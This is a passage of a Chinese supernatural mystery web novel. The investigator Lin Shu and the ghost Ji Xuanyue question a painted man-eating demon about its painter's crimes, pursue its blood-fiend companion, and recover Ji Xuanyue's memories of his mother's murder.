可是在那个沙漏复制的民国时空，温家少爷已经被玛丽亚吞噬掉了。 如果做局的人是温丽雅…… 林疏蹙眉，他回想起复制的民国时间线中，顾临曾把温丽雅推出画室，他们却再没见过那个蓝裙子的女孩，而且玛丽亚的裙摆中没有温丽雅的脸。 但林疏记得自己在回到现代后，在白色洋房里用过溯灵，温丽雅并没有离开画室，她跟真正的顾临一同被玛丽亚吞噬了。 时空悖论。 按理说，这个温丽雅和真顾临一同被玛丽亚吞噬的时间线，才是真正的时间线。复制时间线里的一切都做不得准。 ——之前林疏一直以为，复制时间线里的一切剧情变化都是“顾临和驴”带来的连锁反应。 那两个家伙是外来者，所以难免改变一些细节，譬如，回民国之前，林疏看过的“食人魔”卷宗中，租界的受害者一共有九名。 但在复制的时间线里，只死了两个人，他们就得到了洋房的线索，随后玛丽亚出现，造成血案。 可此时此刻，林疏莫名觉得，这恐怕并非外来者的责任，这些细节，恐怕都跟案子本身有千丝万缕的联系。 或许，这都不是巧合。 ……怪不得顾临那家伙说自己搞砸了，他们的加入给这件案子填充了太多的意外。 不过就算没有他们两个，林疏也很难在那条时间线里直接破除迷局。 毕竟他的目的是抓回食人魔，并没有意识到，这背后还有如此复杂的、有关于四煞千年柱的线索。 食人魔是温少爷画的，血煞怪是温丽雅画的，这对兄妹的目的，实在是扑朔迷离、耐人寻味。 究竟是谁在不断重启四煞千年柱？ 当年的穆家，后来的温家，现在的穆迎松和穆迎秋，三股势力，目的分别是什么？ ……还有鹑城“云途酒店”里挂的油画，他还没来得及去看。 乱了，全乱了。 林疏心乱如麻。 越到此时，他反而越不敢去猜了。 将这幅画随手收进袖子里，林疏点了溯灵又查看了三四遍，确定此处再没有任何灵异痕迹，才拉着姬悬月跳了上去。 76. 第 76 章 “线索太杂，只能先归纳。”他沉声道，“到现在为止，还无法串联到一起，不过我想到了一个地方。” 姬悬月问道：“是哪里？” 林疏遥遥望向远方，只是不知道……在这条时间线里，还能不能找到什么痕迹。 …… 文物局，白色洋房。 傍晚19点23分，天色已晚，洋房白色的外立面色泽显得格外暗淡。 林疏带着姬悬月又回到了这个地方。 他们曾在这里目睹民国血案，曾在这里找到《玛丽亚王后》，如今，又回到这里。 房中仍旧空旷，那个被林疏发现的地下室入口已经被文物局安装了一个舒适的把手，但林疏并未去掀起它。 而是在房间中央，先点燃了一张“溯灵”。 血煞怪逃脱之后，会到这里来吗？ 林疏觉得至少有50%的概率，苏珊娜会来这里。 溯灵缓慢燃烧，周围的一切变得模糊。 林疏闭着眼睛，看见一串带血的脚印慢慢延伸到了室内。 ——溯灵事无巨细地，给他展示了这幢洋房中发生的一切灵异事件。 红衣的血煞怪苏珊娜赤着脚走进这洋房，她从上到下，细细找了一圈，最后冷着一张脸，又走了。 果然来过！林疏有些振奋，他赶紧追着血煞怪的步子跑出了洋房，但出去之后，痕迹消失——溯灵失效。 林疏试着在洋房门外点燃溯灵，但苏珊娜的动作太快了，她在离开洋房后就加快脚步，径自去了某一处，所以脚印消失，范围太大，她在洋房外反而没有留下什么痕迹。 林疏蹙眉，线索消失了。 他身后的姬悬月缓缓问道：“你觉得她是来找谁的？” 林疏回头看了看洋房，不确定道：“我猜测她要先找她的作者，这里理应是第一站。” 姬悬月想了想，道：“如果是我从几百年的囚困中重获自由，第一件事，恐怕是回家。” 林疏如梦初醒，他马上驾着驭龙旗，与姬悬月一起来到了温家老宅。 当然，这里现在早就不是温家老宅了，变成了一个小商圈，且在九龙千年柱附近。 凭着溯灵，林疏再次找到了苏珊娜的痕迹，只是，她并没有像林疏想象的一样四处寻找，而是来到后径自站在两栋居民楼之间，就那么站着，发了很久的呆。 林疏借此机会，在溯灵里仔细打量了苏珊娜。 这只血煞怪身上的衣服浸染了非常浓郁鲜艳的血色，那些布料甚至更像是一层血水凝成的，血珠会随着她的动作而洒落得到处都是。 但如果是血，也未免太红了些……这样的红色甚至不太像血了，倒是更像……那些颜料。 林疏曾经在白色洋房里见过的，温少爷用少女的血肉与化学成分制作的“镉红”。 林疏蹙眉，如果温丽雅也用了她哥哥制作的镉红作画，倒是可以解释为什么她画出来的《苏珊娜》最后成了血煞怪。 但能成精怪，必然是做了什么天地不容的事，生了怨气。 难道那九人的命案里，也有苏珊娜的手笔？ 那为何当场在温家老宅溯灵，林疏什么都没有看到？ 苏珊娜在温家老宅原址停留了很久，才朝着白色洋房的方向去。 如此看来，白色洋房其实是她的第二站。 林疏看向姬悬月。 姬悬月便继续推断道：“回了家，发现家没有了。接下来……恐怕会去找有可能存世的朋友。我猜她要找的人不是温丽雅，因为这么久的时间都过去了，温丽雅若是凡人，一定早就死了。” “如果她和玛丽亚是同一种颜料画成的，”林疏轻声道，“苏珊娜和玛丽亚之间，恐怕会有某种特殊的联系！” 那么，苏珊娜就会知道，现在的玛丽亚被关在灵调局！ 再次骑上驭龙旗的金龙，林疏带着姬悬月，回到了灵调局。 ——刚才他们已经拿到了去地下室的“收容处”的钥匙，当初用锁灵瓶将玛丽亚带回灵调局后，林疏便把她交给了“邪魔收容处”，而刚才在门锁处，林疏还闻到了煞气的味道。 带着姬悬月进了地下三层的关押处，林疏把锁灵瓶一个一个拿起来查看。果真，这些妖魔鬼怪都还在瓶子里，没有凭空消失。 在看到第三排后，瓶中终于出现熟悉的身影，鲜红裙摆翩跹，金发的玛丽亚在里头翩翩起舞。 林疏将锁灵瓶拿走，带着姬悬月，来到了灵调局的讯问室。这里有讯问阵法，任何邪魔鬼祟到这里都说不出谎来。 玛丽亚被林疏放出，优雅地提起裙摆，朝林疏行了个屈膝礼。 “玛丽亚？”林疏问道。 女子唇角微勾，轻轻一笑：“又见面了，小天师。” 林疏蹙眉，他不记得自己跟正确时间线里的玛丽亚王后有过直接的接触和交谈，但抓捕她——用锁灵瓶把她从封印里吸走的时候，勉强算见过。 玛丽亚朝他身后看了一眼，道：“这位英俊的厉鬼——我似乎也曾有过一面之缘。” 林疏心想你当然见过，我用锁灵瓶抓你的时候他就在我身后。 遂开始讯问道：“你的作者叫什么名字？” 玛丽亚温和道：“温闵宣。” 林疏细细问了是哪几个字，在纸上写下了，他知道这应该是温少爷的名字。 林疏接着问道：“你认识苏珊娜吗？” 玛丽亚愣住了。 林疏没有放过她脸上每一分表情，马上追问道：“请你说出，你知道的有关于她的所有事。” 玛丽亚似乎知道自己无法说谎，表情瞬间变得非常平静：“认识，她是我的同伴。” “具体的呢？”林疏示意她继续说。 玛丽亚用她湛蓝的眼睛望着林疏，她明明是个杀人如麻的食人魔，那目光却分明干净得像个天真纯善的小公主。 玛丽亚道：“她是温丽雅的画作，与我同根同源。只不过……她没有灵魂，是温丽雅虚构出的人像。” 林疏心想，果然！苏珊娜不是真实存在过的人，所以她成了“怪”，而玛丽亚是真实的历史人物，所以成了魔！ 玛丽亚继续道：“温闵宣用鲜血镉红创造了我，温丽雅用鲜血镉红创造了苏珊娜，就是这样的关系。” 林疏沉吟片刻道：“那么苏珊娜都杀过什么人，你知道吗？” 玛丽亚摇头道：“她什么人都没有杀过” 林疏蹙眉道：“没杀过人，成不了煞，顶多是精怪。” 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“他是怎么知道要用这样的方式做颜料？”林疏突然问道。 玛丽亚耸耸肩：“我不知道，大概是他自学的，他有很多古怪的藏书，里面的文字都是横线和圆圈，我看不懂，大概是什么道术吧。” 林疏听见“道术”这个词，心中一动。 玛丽亚继续道：“镉红颜料成功后，他想要创作一幅举世无双的画，他要画那个死在法国大革命中的凄惨皇后——他不满足于那些细小的锡管里贫瘠的红色，他需要很多很多的镉红，鲜血一样的镉红。” 于是温闵宣自己动手做了第一桶颜料，使用的，是一个非常仰慕他的女校学生。 一个被他洗过脑的、愿意为温少爷的“旷世巨作”奉献自己身体的、活生生被他磨成颜料的，天真的女孩子。 用她的血做成的颜料，绘制了玛丽亚最初的鲜艳裙摆。 玛丽亚·安托瓦内特是真实存在的历史人物，画中的她，身上还凝着一位活生生被献祭的少女的鲜血，所以她拥有灵魂，她成了魔——食人魔玛丽亚。 “我曾经被鲜血冲昏头脑，温闵宣叫我放肆猎食，我当然听从。”食人魔的笑容纯善又伤感，“可是那都是活生生的女孩子。温闵宣一味将她们献祭给我，可他不知道，我也会觉得恶心。” 觉得恶心的玛丽亚，遇到了温丽雅笔下纯洁美丽的苏珊娜。 “苏珊娜”不是真实存在过的人，所以，她没有灵魂。 而且她是温丽雅使用大批量鲜血混在一起的颜料所绘，那些镉红中的怨气零零散散，苏珊娜身上便没有凝结太过集中的怨气。 所以她只是有一点意识，没有成魔，玛丽亚与她说话的时候，她还连声音都发不出来，只能羞涩地看着玛丽亚笑。 “她是我肮脏的心灵里，唯一纯净美丽的颜色。”玛丽亚娇艳的脸庞上，带着她自己都觉察不到的温暖。 林疏在纸上写下苏珊娜三个字，半晌，问道：“那么，温闵宣是何时将你的煞气渡给了她，将她做成了血煞怪？” 玛丽亚微微一笑，道：“小天师，你别急，我还没说到这里。” 77. 第 77 章 林疏叹了口气，继续耐着性子听。 玛丽亚道：“认识苏珊娜后，我更加无法对那些无辜的女子出手。我开始找机会，想让人知道温闵宣做的这些事。这时候，苏珊娜能从画中出来了，她就跟在温丽雅身边做了个女仆。” 女仆苏珊娜过着非常简单而快乐的生活，她陪伴着温丽雅，照温丽雅的吩咐做事，并且认识了曾与温家有几面之缘的顾临。 “你知道顾家吧？”玛丽亚道，“你一定知道，我在这里见到他们的后代，似乎是你们这伙人的头领？” 林疏蹙眉，他当然知道，那不就是顾煜城的家族？难道顾煜城的家族和顾临有关？ 林疏对顾家了解不多，只知道他们本不姓顾。 他们拥有一个只存在神话中的、非常古老的姓氏，而且至今维持着母系社会的“血脉论”，不管对外姓什么，归家后都要跟母姓。 而“顾”是千年战乱中他们为了掩盖身份而自己伪造的姓氏。 “鹤城顾家，大隐隐于市，我本来还找不到他们，”玛丽亚漫不经心地轻抚耳边卷发，“但随着苏珊娜一天天变得更像个活人，她精怪的身份就被温闵宣发现了。” 于是，温闵宣在一个血月的晚上，将苏珊娜和玛丽亚都叫回了温家老宅。 他用了奇怪的术法，将玛丽亚身上浓重的血煞怨气，渡了一半到苏珊娜身上。 从那天起，苏珊娜如披上了一身带血的红衣，她再也变不回纯洁无垢的苏珊娜。 玛丽亚深深吸了口气。 林疏能看出，她在压制心头翻滚的怨气。 “好在……我们的血煞之气同源，她逐渐也更亲近我多些，”玛丽亚勉强道，“我可以护着她，让她不受那对兄妹的驱策，但我等终究无法违拗自己的创作者，不是吗？所以……” 所以玛丽亚开始寻找外援。 她的外援，就是顾家人。 “鹤城顾家……那个男人叫顾守杰，我在租界见过他。”玛丽亚的眸中闪烁着冷酷无情的冰蓝色，“想终结温闵宣的罪恶，顾守杰那个老头是我唯一的希望。而他的儿子顾临，竟然与苏珊娜相识。” 林疏在纸上写下了顾守杰的名字。 “哦，有件事忘了说。”玛丽亚却露出个诡异的笑容来，“温丽雅，也是一幅画。” 林疏：“？” 玛丽亚轻笑：“温闵宣有个妹妹，不到十岁就死了。你见到的温丽雅，其实是温闵宣画出来的。虽然画温丽雅没用特殊的颜料，但温丽雅和我一样，都是真实存在过的人，都承担着自己无法承担的罪孽。所以，我成魔，温丽雅也一样。” 都是温闵宣画出来的，没有谁比谁高贵一说，但温丽雅的确不如玛丽亚自由。 她本体的画上没有用鲜血镉红，就没有煞气保护，所以不能见光，因为油画见光会会干裂。 她的魂体也没有煞气支撑，所以不能离开家太远，画在温家老宅的旧画斋，她就不能在租界久待。 ——所以温闵宣往租界搬，实则是为了让她去租界更加方便。 即便如此，她也不能随便出门，因为她的身体延续了温闵宣“妹妹”的体弱多病，随便什么细菌或者粉尘，就能要了她半条命。 因以上种种，就连自己无比期盼的旧画斋搬家一事，温丽雅都不能亲力亲为，只能交给苏珊娜。她甚至无法亲自送那幅道谢的《蓝色玫瑰花》给顾临。 “说到顾临，他是顾守杰的儿子，跟他爹学了点半吊子的道术。”玛丽亚的笑容别有深意，“而温丽雅，想获得自由。” 林疏的眉毛都快拧成疙瘩了。 玛丽亚笑道，“我可以再说仔细一点。假如，顾临发现了《玛丽亚王后》是食人魔，而且即将威胁他和家人的生命，他一定会想办法封印我。” 一旦玛丽亚被封印，温闵宣就只剩下温丽雅一个“魔”，温丽雅便可以接替玛丽亚的工作，只要沾染上人命，她就会变强大，就可以获得她想要的那种自由。 但在温丽雅一步一步实现自己目标的过程中，她为了接近顾临，先去结识了哥哥的仰慕者之一梁萍，借此认识了顾临的好同学钱志远，认识的人越多，她就越明白了一个道理。 真正的自由，不是像玛丽亚一样，只能在黑夜里狩猎、吞食，然后带着血淋淋的“原料”，回到温闵宣身边。 而是把一切都掌握在自己手里。 比如梁萍，一介凡人，却一边与温闵宣暧昧不清，一边玩弄钱志远的感情。 肆意游走在每一张面孔之间，只要她的网撒得够大，只要她有足够的能力驾驭这些男人。 温丽雅似乎逐渐明白了，真正的自由是自己足够强大。 所以她的野心也膨胀了，她想直接占用玛丽亚强大的躯体，享受真正的自由。 谁阻拦她，她就杀谁。 包括她的哥哥，她的创造者，世间唯一爱她之人：温闵宣。 于是温闵宣被吞掉了——温丽雅将他麻醉、绑好，送到了玛丽亚口中。 “我恨温闵宣很久了，温丽雅真是把礼物送到了我心上。”玛丽亚轻描淡写道，“只不过，本该一口吞掉的，但我嫌温闵宣的心太肮脏，所以把他的心吐掉了。” 林疏和姬悬月：“……” 而温闵宣死后，温丽雅借梁萍之手，召集了所有人，来到了白色洋房。 接下来的剧情非常顺畅地按照温丽雅的计划在走。 玛丽亚的存在果然被顾临察觉了。 至此，无论是玛丽亚被封印，还是玛丽亚吞噬掉包括温丽雅在内的所有人，温丽雅都可以如愿—— 要么借顾临之手削弱玛丽亚，要么借顾临之手除掉玛丽亚，而她黄雀在后，只待机会做掉顾临，这样一来，她就可以进到玛丽亚的躯壳，获得这具自由的身体，去过她的新生活。 但很可惜，她高估了顾临，顾临的力量不够，她的力量也不够。 玛丽亚吞掉了顾临，也吞掉了温丽雅。 被吞当然也没什么大不了的……但温丽雅完全没料到她会被顾临反将一军，直接连人带魂给封印在了画中。 “讲完了，我被封印之后，就没有别的事情发生了。”玛丽亚轻描淡写道。 林疏将记录的纸张用手机相机拍下来，轻轻舒了口气。 真是个庞大的故事啊。 一旁的姬悬月问道 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只可惜温闵宣已经身死，温丽雅也不知所踪了。 林疏重新打开锁灵瓶，准备将玛丽亚装回去。 然而，四周的空气中，突然弥漫起了淡淡的血腥味。 林疏脸色大变，暗道一声不好！ 难道苏珊娜一直在这附近守株待兔？ 林疏赶紧双手结印，准备造个结界将讯问室的门窗都关闭起来！ 但他此时结印已经晚了，姬悬月蹙着眉，上前握住林疏的肩膀，将他朝后一拽，一道血刃就擦着林疏方才所站的位置而过，深深凿进了旁边的墙壁上。 “我的玛丽亚……”那血腥的气息在他们之间席卷而过，漩涡中间，轻柔的女声仿佛一声叹息。 玛丽亚双眼发亮：“苏珊娜，是你吗？一百年了……苏珊娜……” 血腥之气掠过，在大阵中间凝结成红裙金发的少女——林疏认得她的侧脸，她就是马车里跟顾临交谈过的那个金发少女：苏珊娜！ 苏珊娜已经执起玛丽亚的手，将她拉到自己身前。两人额头相抵，似乎在意念中述说着对彼此的思念。 林疏还在徒劳结印，可厚厚的结界一覆盖上苏珊娜滴血的裙摆，就会莫名消融于无形！这不是普通的煞气！ 玛丽亚唇角勾起一个神神秘秘的微笑：“小天师，你的术法对苏珊娜是不起作用的，她的血煞之气和我同源，都是来源于血孽。这种孽力，非是普通法术可以对抗。” 血孽！ 苏珊娜哪里来的血孽？是在九龙千年柱底下和棺中姬悬月待久了，吸走的吗？不，不对，苏珊娜的血煞是从玛丽亚身上渡过去的，玛丽亚身上又怎么会有血孽？ 林疏咬着唇，尝试在纯正的道教术法中掺入了天狐的灵力，果然可以对苏珊娜外围的血旋风产生一点点的净化作用！ 但这个时空已经停滞死寂，他的灵力只能从自身调用，却无法在世界法则中提取补充。 如果用狐火对付这只血煞怪，不出三分钟他的灵力就会被抽尽，却还沾不上苏珊娜一分一毫！ 78. 第 78 章 苏珊娜却完全没有继续朝林疏出手的意思了，她抬起头，冷漠地看了林疏和姬悬月一眼，然后搂着玛丽亚的腰，将她融入了自己的血煞之中。 旋风一般，这滴血的血煞怪卷着她的创造者，飞离了灵调局。 林疏喘了口气，跌坐在地上，他的灵力已经被抽走了一小半。 还好这个时间线是停滞的，而且已经毁灭……纵使血煞怪和食人魔逃脱，也无法再伤人。 林疏拿起旁边被自己抓皱了的笔记本，在上面继续涂涂写写。 “玛丽亚是食人魔，苏珊娜是吸取食人魔煞气的血煞怪，而且一魔一怪身上都带有血孽之力……”林疏在纸上写下了这些字，眉毛拧在了一起。 血孽之力…… 姬悬月道：“你想追上她们两个吗？” 林疏蹙眉：“怎么追？追上也打不过，算了。” 姬悬月道：“那个血煞怪身上的血孽之力好像跟我是同源，我可以感受到她们的位置。” 林疏连忙道：“果真是同源吗？” 姬悬月点头：“我曾经……在救你的时候，曾经短暂动用过孽力，我很熟悉。” 林疏却紧紧握住他的手腕：“你绝不能再动用血孽了！” 姬悬月望着他的眼睛。 小狐狸向来温柔澄澈的眼中，此时满是严肃。 姬悬月缓缓点了点头。 林疏松了口气，但同时，他也知道，自己发现了一个非常非常重要的线索。 苏珊娜和玛丽亚身上不只是血煞，还有血孽，而且，是姬悬月身上同源的血孽！ 这说明温闵宣绘制《玛丽亚王后》时，不仅仅使用了鲜血制成的颜料，恐怕还用他那个什么“渡煞气”的方式，从当时还被埋在九龙千年柱底下的姬悬月身上，引了些血孽过来。 血孽的孽力是非常危险的力量，如果随意使用，很轻易就能引来天罚。 其实林疏不明白，温闵宣既然懂得这种术法，至少也应该明白血孽的危险，到时候天罚降下，无论是玛丽亚还是苏珊娜都会化作飞灰，他的努力岂不白费？ 而此时林疏心念电转，突然发现了一个问题。 按照穆文泰的计划，如果，他在四煞千年柱上想要献祭的厉鬼，是姬悬月这样凶戾的血孽，那他准备的魔和妖，至少要是什么级别才行？ ……恐怕得把上古大魔召唤出来。 那时候鹤城最大的一只魔沉睡在兰云山，是在顾煜城成立灵调局、林聆归位后，才被彻底诛灭。当时的鹤城，就差一点，便可以用“民不聊生”四个字来形容了。 穆文泰一介凡人，哪来的能力控制那么逆天的四煞？ 如果姬悬月成为血孽，其实不是穆文泰的计划呢？ 林疏望着笔录上的名字陷入沉思。 假如穆文泰制作四煞千年柱的时候，姬悬月还是个活人，那么制作一个穿着红衣的鬼新娘，其实就足够凡人来控制了，穆家只需要请来一个懂点道术的方士，就能控制红衣厉鬼姬悬月。 但如果姬悬月成了血孽厉鬼，别说半吊子方士，就算穆文泰有能耐请来天狐林聆和涅槃道的唐疏，也未必能止住姬悬月那屠尽鹤城一千户的血孽。 这样等级的血孽厉鬼，得用什么样的妖、魔和怪来配？ 这在风水局上是不对等的，这样的姬悬月会让四煞的煞气不均衡，最后风水局残破泄气。 设局人的初衷绝不是做一个失败的风水局。 再往前推一点，未曾堕落为妖的林疏手上甚至还干干净净，就算他不慎伤人，堕落为妖，也是最低等的妖狐，甚至短时间内生不出妖力。 为什么作为“鬼”的姬悬月，却是个手上有玄鹤府一千户血孽的终极厉鬼？ ……而且还是温闵宣渡走了一部分血孽后的剩余。 同样的，温闵宣若是打算重启四煞千年柱，他制作的食人魔玛丽亚，只杀了几十个人，甚至要闹到租界，才能被人察觉。 而血煞怪苏珊娜的双手也是干干净净，她的煞气甚至是从玛丽亚那里分来的。 这一魔一怪就算集中在一起，也凑不出一个能与姬悬月对等的血孽来。 林疏又想起了一件事，穆迎秋和穆迎松似乎也要做四煞千年柱，而他们的确从未寻找过姬悬月。 林疏依稀记得，穆迎秋的确找老馆长要过姬悬月的照片，当然，那张照片是有盖头的，他根本看不见姬悬月的脸，但他们手中握有当年杀死姬悬月的凶器——那对烛台的其中一只。 如果“要照片”预示着他们在找姬悬月，还用那对烛台钓林疏这条鱼，就不可能不知道，那对烛台除了作为杀死姬悬月的凶器之外，没有任何作用，只是一堆破铜烂铁。 而有了凶器，要召唤厉鬼也不是难事。 ——虽然姬悬月在林疏手里，他们肯定召唤不去，但无论是林疏，还是姬悬月自己，都没有感觉到谁召唤过他。 这对烛台在穆家兄弟手里只有一个作用，就是用来吊林疏。他们好像从未动过寻找血孽厉鬼姬悬月的心思。 这是否证明，他们穆家要做的四煞千年柱，自始至终也没有想用血孽厉鬼？ 姬悬月成为血孽厉鬼如果不是人为……而是意外，那他恐怕就无法赎罪了！ 此事非常严重，林疏已经出了一后背的冷汗。 他强自镇定，一边顺手将所有文字资料拍下来，一边道：“我想我们必须要去找那对烛台了。如果能找到，说不定可以弄明白一些新的情况。” 姬悬月绝对不能就这样不明不白成了无可救药的先天血孽。只要他能想起一部分，林疏就能推导一部分，到时候，说不定还有转圜的机会！ 姬悬月点头：“好。” 两人又重新坐上驭龙旗召唤出的金龙，这次的目标，是穆宅。 但穆宅已经被灵调局搜过，重要的物证肯定也都被带走了，未必留下什么“气息”。 林疏搜索得很认真，但这里实在杂乱，搜了很久，林疏没找到什么有用的痕迹，穆家兄弟走之前似乎将穆宅打扫得很干净。 这种过分的干净让林疏莫名想起了宋玉家，那个人去楼空后没有留下半分痕迹的，养过金蚕蛊的男人。 他叹了口气，叫上姬悬月，赶往了下一个地点——穆迎松曾经住过的，闻轩会所。 先不管穆氏兄弟的排场是真的还是租的，这里都是穆迎松曾经住过的地方。 而且他在这里成功暗算到了林疏。 所以在踏入会 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深蓝天空中，一狐一鬼乘着金龙在夜色里翱翔，追着那一点忽明忽暗的狐火，从鹤城的中心，一直追到了郊区的机场。 机场没有人，但很多行李箱倒在地上。看起来，这里的人是突然消失的。 林疏拉着姬悬月，跟着狐火一路追去，最后，在登机口，狐火停了下来，落在两只皮箱中间。 那两只皮箱一横一竖倒在地上，林疏推开其他的皮箱，蹲在地上。 姬悬月也蹲下来，看见林疏从袖子里取出一个榔头，邦邦邦，直接把密码锁敲开了。 这个行李箱里没什么东西，都是乱七八糟的衣服和杂物。 林疏又去砸另外一个。 这次找到了，行李箱里有两个窄长的木盒子。 林疏将其中一个打开，看见了那架熟悉的烛台。 他把烛台递给姬悬月，又打开了另一个盒子。 但第二架烛台还没递过去，他就发现姬悬月的脸色变了。 他握着那第一把烛台，表情就变得非常难看。 随之，姬悬月身上的怨气也重了。 林疏不敢托大，马上以指画出清心符咒，隔空点在姬悬月额头上。 但那符咒收效甚微，厉鬼眉心漆黑的怨气已经越来越浓，浓得林疏愈发心惊胆战，这样下去恐怕一会儿就会引来天罚了！他正考虑要不要打断姬悬月对记忆的读取，姬悬月却突然睁开了眼睛。 在看到林疏的那一瞬间，姬悬月眉心的怨气，突然如冰雪消融一般化去了。 只余深沉的目光，落在林疏的脸上。 林疏茫然看着姬悬月，他突然看不懂对方的目光了。 而姬悬月突然倾身过来，紧紧将他抱进了怀里。 “喂喂……你这是怎么了？”林疏赶忙问道。 姬悬月搂了他好一会儿，才道：“突然很庆幸，非常庆幸。” “庆幸什么？”林疏追问道。 姬悬月道：“庆幸你还在我身边，庆幸我爱的人原来始终只有你一个。” 林疏：“？” 79. 第 79 章 姬悬月却不肯继续说了，他又查看了一番另一个烛台，确定自己没有其他遗留的记忆在这里头，就拉着林疏死活要回家。 “今天先不查了，”他眉宇间罕见染上了不安，小声道，“先回去整理线索，我要把我几百年前的记忆，一五一十说给你听。” 姬悬月的记忆只回来了一半——只有他生前的那部分。 但也足够解答一些谜团了。 首先，姬悬月的确不是他的本名。 他真正的名字，叫姬悬羽。 “姬悬月”是妹妹的名字，但，他没有妹妹。 妹妹只是一个不存在的符号。 大约在咸丰六年的冬季，姬悬月出生在门庭败落的姬家。 他没有父亲，母亲姬氏是落魄的大家闺秀。她少时父亲获罪，家道中落，万幸没有被连累入奴籍，平日就靠给人缝补浆洗来过日子。 但姬氏并不是一个只会缝缝补补的普通女子，从姬悬月有记忆开始，村塾学堂里的同龄人就都嘲笑他，说他娘是大寨里的“先生”，不知道被多少人糟蹋过，才有了他这个野种。 诚然，姬氏生得很美，也的确曾经艳名远扬——她曾是大寨里负责教妓女们琴棋书画的“先生”。 多年前姬家获罪，男丁流放，姬氏也曾是绣房中不曾踏出闺阁一步的娇小姐，却不得不为了一大家子老弱病残的生计，靠着满腹诗书，在最下九流的妓寨中做了先生。 在那种地方待久了，名声会变成什么样，不必多说。 姬小姐本来也不在意这些，兵荒马乱的年代能吃饱饭就已经是奢望，直到她生了姬悬月。 为了儿子，姬小姐不再去做大寨中的女先生，她要留清白的名声给儿子，让他将来能够读书科举。 她便只能靠给大户人家浆洗缝补，来维持生活。 但无知稚子的话是最伤人的，姬悬月自小长得秀气，人又聪明，就总被人讥笑奚落，他又忍不了别人骂他娘，索性他不读私塾了，直接回家跟娘读书。 姬小姐也不迂腐，她什么都见过，也知道儿子心性，便自己亲自挑了担子，教儿子读书。 姬悬月回忆起那些年，倒也觉得幸福。 冬天他和母亲一起在冰冷的河边洗衣服，姬悬月一边帮姬氏拧衣服，一边跟着她一句一句背诗。 夏天姬氏在蚊虫嗡闹声中，于煤油灯下缝补，而姬悬月在对面给母亲和自己摇着蒲扇，手中毛笔稳稳地写文章。 姬悬月就是这样长大的，他从没有见过自己的父亲。 但他知道自己的父亲是谁，他曾在母亲书箱里见过许多信。 那些信中的文字，深情款款，处处悔恨。落款是一个陌生名字：穆文淮。 巧了，玄鹤府有一显赫大族就姓穆，家主名叫穆文泰。 穆文泰、穆文淮， 姓穆、从文、从水，一看便是亲兄弟。 姬悬月那时候还小，却也知道穆家，凡世家大族总有些古怪的规矩，穆家的规矩就是每一代只有一人能上族谱，其他的人都是无名无分在家中将养着。 所以姬悬月不知道穆文淮究竟行几，是嫡出还是庶出，他只知道穆文淮恐怕是他爹。 那些信都是穆文淮写的，穆文淮说，只要姬小姐服个软，他可以把阿月接回穆家，他会好好待阿月。 姬悬月那时候还叫姬悬羽，他不知道阿月是谁。 后来问母亲，才知道，姬小姐怕穆文淮夺走自己的儿子，就谎称她生的是个女儿，叫做姬悬月。 姬悬月就这么多了一个莫须有的妹妹。 姬悬月看着母亲的眼睛，鬼使神差地说：“那不如以后，我假装我就是妹妹，这样就没人会把我跟娘分开了。” 姬小姐笑出了声，并欣然同意，还给姬悬月梳了小女孩的双鬟，给他做了漂亮的旗装穿，母子两个笑成一团。 ——姬悬月根本没有妹妹，他就是那个妹妹。 但相依为命的幸福时光只持续到姬悬月十三岁那年，就匆匆结束了。 那一日，姬悬月记得非常清楚，货郎说有封信寄给他母亲，叫母亲去拿。 但姬小姐急着出去送还缝补的衣服，于是姬悬月自告奋勇，去替母亲取那封信。 然而姬小姐离了家，就再也没回来过。 姬悬月在家里等了一天，越来越焦急，就出门去找母亲，但是翻遍了附近的小镇和村子，也没见到人，没人知道他母亲去了哪里。 当他托着疲惫的身子回到和母亲藏身的小村之后，就发现他家已经被烧了。 家中所有和母亲相关的东西，都被付之一炬。 谁也不知道姬悬月怀里其实还藏着一封信。 一封“穆文淮”寄给他母亲的信。 他本来不想偷看，但事已至此，他只能打开信封。 然后，发现信中的男人，说他已护不住“阿月”的秘密，让姬小姐带着女儿赶紧离开玄鹤府，不然恐有杀身之祸。 姬悬月在村头的小桥底下蹲着，看着这封信，看了一天一夜。 “那天的情绪究竟是怎样的，其实我已经忘了。”姬悬月淡淡道，“大概免不了会迷茫，会恨入骨髓，也免不了……生出些妄想，想替母亲报仇。” 林疏默默拉住了姬悬月冰凉的手。 姬悬月则安抚地回握住林疏的指尖，放在唇边，轻轻一吻。 然后吁了口气，继续讲述。 那天，天蒙蒙亮的时候，他用冻得僵硬的手，大着胆子，以母亲的口吻，回了一封信给穆府。 他的字是母亲手把手教的，他可以写得和母亲一模一样。 他在信里，说她不甘心，说她痛苦，说想见面。 姬悬月连捅死这个未谋面的人用的柴刀都磨好了。 然，足足半月之后，他才收到了一封回信。 “姬氏姨姨亲启：余叔穆文淮已于月前过身，余深表遗憾。然二婶不知此信，余偶得之，代复。若有要事，可寄信与穆府绍棠，切勿寄与穆氏文淮！——穆绍棠” 姬悬月讲到这里，自己都笑了：“那信纸上的字如鬼画符一般，我看得直皱眉。但终究是一番好意，他那年才十岁。” 林疏笑道：“十岁就知道瞒着婶婶写信救人了，也不简单啦。” 姬悬月垂眸道：“可我从始至终，都是在利用他。” 当一个失去了母亲、又被父亲抛弃的孩子，突然抓住了最后一根救命稻草，他会怎么做？ 他会竭尽全力抓住这根救命稻草，哪怕掐断它，也在所不惜。 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这一年的他刚过十四岁，五官已经一点点长开，九分肖母，一分肖父，男女莫辨，秀美非常。 他先是应征去穆家做家丁，为此，已经过了院试的他，甚至放弃了期盼已久的乡试。但他年纪太小，手腕也没什么力气。 ……最后，竟然是假扮成侍女，成功混进了穆宅。 但他此前一直读书，未做过多少粗活儿，笨手笨脚的，服侍人也服侍不好，只在穆家当了半个月的班，就被辞退了。 但是半个月的时间，足以让他查清楚，在自己母亲身上究竟发生过什么。 他母亲姬氏，已经死了。 穆文淮居然早就死了，是无故暴毙，他们后来收到的穆文淮的信，都不知道是穆家的谁写的！ 但穆文泰似乎是追着那些信，才把姬氏和姬悬月的行踪摸得很透，像戏耍一只老鼠。 没有人知道他的目的是什么，但在“穆文淮”最后一封信寄出后，他找到了姬家，绑走了姬氏。 姬氏死在穆家老宅后山一个隐秘的鱼塘，那个池塘实则是穆文泰的私产。 他母亲，是被穆文泰下令秘密沉塘的。 “假如那天，我没有自告奋勇去取信，”姬悬月的眼睛慢慢红了，“假如那天，我让母亲看到那封信；假如那天我拉着母亲一起去取信……” 他们至少还能逃，说不定母亲就不会死了。 林疏握紧了姬悬月的手。 十四岁的姬悬月，刚得知真相的姬悬月，只用了一个晚上的时间，就悄然定下了为母亲报仇的计划。 他要让穆家鸡飞狗跳、家破人亡！ 